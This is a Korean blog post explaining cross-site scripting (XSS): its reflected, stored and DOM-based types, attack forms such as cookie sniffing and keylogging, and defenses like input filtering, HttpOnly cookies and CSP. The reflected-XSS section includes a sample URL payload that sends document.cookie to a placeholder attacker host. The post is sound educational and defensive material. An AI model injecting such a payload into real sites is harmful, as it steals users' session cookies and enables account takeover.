
XSS란
웹사이트에 악성 스크립트를 주입하는 행위를 말한다. 해커는 사람들이 안전하다고 생각하는 웹사이트에 악성 스크립트를 주입하고, 주입된 스크립트가 포함된 게시글을 열람한 피해자들의 쿠키가 해커에게 전송된다. 이를 통해 해커는 피해자의 브라우저에서 스크립트를 실행해 다음과 같은 행위를 시도 할 수 있다.
- 사용자의 세션 가로채기
- 웹사이트 변조
- 악의적인 컨텐츠 삽입
- 피싱 공격
공격 대상과 주요 목적
스크립트 언어와 취약한 코드를 공격 대상으로 하며, 주요 목적은 사용자의 정보를 도용하는 것으로 로그인 입력란을 감염시켜 로그인 세부 정보와 쿠키를 탈취하는 방식으로 진행된다.
세 가지 유형
1. 반사형 XSS(Non-persistent XSS, Reflected XSS)
가장 일반적인 유형의 공격으로 1회성이며 사용자에게 입력 받은 값을 서버에서 되돌려주는 곳에서 발생한다. 즉, 공격자가 HTTP 요청에 악성 콘텐츠를 주입하면 그 결과가 사용자에게 "반사되는" 형태다.
예를 들어, 김노력이 검색 사이트에 '오늘 날씨'를 검색한다고 가정하자.
1) 해커가 검색어를 표시하는 페이지에 악성 스크립트를 삽입하면 서버가 응답을 전송할 때 실행된다.
2) 김노력이 검색한 결과인 '오늘 날씨'를 나타내는 페이지에 악성 스크립트가 삽입된 버튼 혹은 링크가 있다.
3) 버튼 혹은 링크를 클릭하면 김노력의 쿠키 값이 해커에게 전송된다.
http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>
이 경우 악성 스크립트에 감염된 웹사이트에 입력한 모든 정보가 노출된다.
2. 영구적 XSS(Persistent XSS, Stored XSS)
저장형 XSS 공격이라고도 하며 응용 프로그램이나 모든 HTTP 응답을 감염시키는 공격이다. 반사형 XSS와 달리 지속적으로 피해를 입히는 공격 유형이며 사용자가 링크를 클릭하도록 유인하지 않고 악성 코드가 삽입된 웹사이트에 접속하기만을 기다린다.
1) 해커는 웹 애플리케이션에서 XSS 취약점을 파악하고, 악성 스크립트를 삽입한다.
2) 삽입된 스크립트는 데이터베이스에 저장된다.
3) 악성 스크립트가 존재하는 게시글 등을 열람한 사용자들은 쿠키를 탈취당하거나 다른 사이트로 리다이렉션되는 공격을 받는다.
3. DOM 기반 XSS

사용자 입력이 페이지에 직접 반영되는 형태가 아닌, JS 함수등으로 인해 DOM 내부에서 처리되는 중 스크립트가 실행 가능한 XSS이다. 위의 그림에서는 공격자가 '#' 특수문자를 사용하고 있는데 '#' 이후의 값은 서버로 전송되지 않는 기능을 가지고 있으므로 원래 의도와 다르게 공격자의 의도대로 공격이 이루어진다. 다른 XSS 공격과 다르게 서버 측에서 탐지가 어렵다.
공격 형태
1. Cookie Sniffing
1) 공격자는 악성 스크립트를 정상 홈페이지에 올린다.
2) 사용자들은 공격자가 올린 게시물을 열어 악성 스크립트를 실행하게 된다.
3) 사용자들의 쿠키값을 공격자에게 자동으로 전송한다.
4) 공격자는 사용자의 쿠키값을 이용해 개인정보와 데이터를 유출, 삭제한다.
2. 악성코드 유포
3. 스크립트 암호화 및 우회
업체에서 스크립트의 문자열을 필터링 할 때 필터링을 우회한다.
4. Key Logger
사용자의 키보드 이벤트가 발생했을 때 입력된 키 값을 공격자에게 계속 전송하여 입력되는 키를 가로챈다.
5. Mouse Sniffer
공격자가 사용자의 마우스 위치를 추적하여 X, Y 좌표를 획득한다.
6. 거짓 정보 추가하기
공격자는 사용자가 이용하는 웹 화면을 수정할 수 있기 때문에 은행이나 개인정보 페이지를 공격자가 원하는 대로 바꾼다.
대응 방안
사용자의 입력이 페이지에 어떤 형태로든 반영된다면 기본적으로 XSS의 가능성을 가진다. 실제 스크립트를 실행하는 데 필요한 특수문자나, 코드 등을 페이지에 반영할 수 있는지 테스트하는 것이 XSS 테스팅의 주요 작업이다.
1. 입출력 값 검증
Response 내 사용자의 입력 데이터가 반영되는 모든 구간은 HTML/JS 등을 사용하지 못하도록 특수문자에 대한 필터링이 필요하다. 보통 <>"' 4개는 기본적으로 치환되도록 처리하는 것이 좋으며, 서비스 기능에 따라 공격에 사용되는 문자열이나 이벤트 핸들러 등을 필터링해서 사용하지 못하도록 제한해야 한다.
2. XSS 방어 라이브러리, 브라우저 확장앱 사용
서버 단에서 개발자가 XSS를 막아주는 Anti XSS 라이브러리를 추가하거나, 사용자들이 Anti XSS를 해주는 애플리케이션을 설치하고 방어해야 한다.
3. 웹 방화벽 사용
웹 방화벽은 웹 공격에 특화되어 있기 때문에 XSS 공격 뿐만 아니라 각종 Injection 공격을 효과적으로 방어할 수 있다.
4. HttpOnly 속성 사용
스크립트에서 document.cookie를 사용하여 쿠키에 접속하는 것을 방지하는 옵션을 사용한다.
5. CSP(Content Security Policy) 적용
사이트에서 허용한 컨텐츠에만 접근하도록 하는 브라우저 표준 보안 정책을 적용한다. 공격으로 인한 스크립트 삽입에도 동작하지 못하도록 제한할 수 있다.
참고
- XSS(Cross-Site Scripting) 이란?
'Web' 카테고리의 다른 글
[Gradle] build.gradle를 톺아보자 (0) | 2023.02.04 |
---|---|
[IntelliJ] war과 war(exploded)의 차이 (0) | 2022.09.28 |
CSRF/XSRF(Cross-Site Request Forgery) 공격과 대응 방안 (0) | 2022.09.02 |
SQL Injection의 공격 방법과 대응 방안 (1) | 2022.09.02 |
LinkedIn SNS 연동 (0) | 2021.12.15 |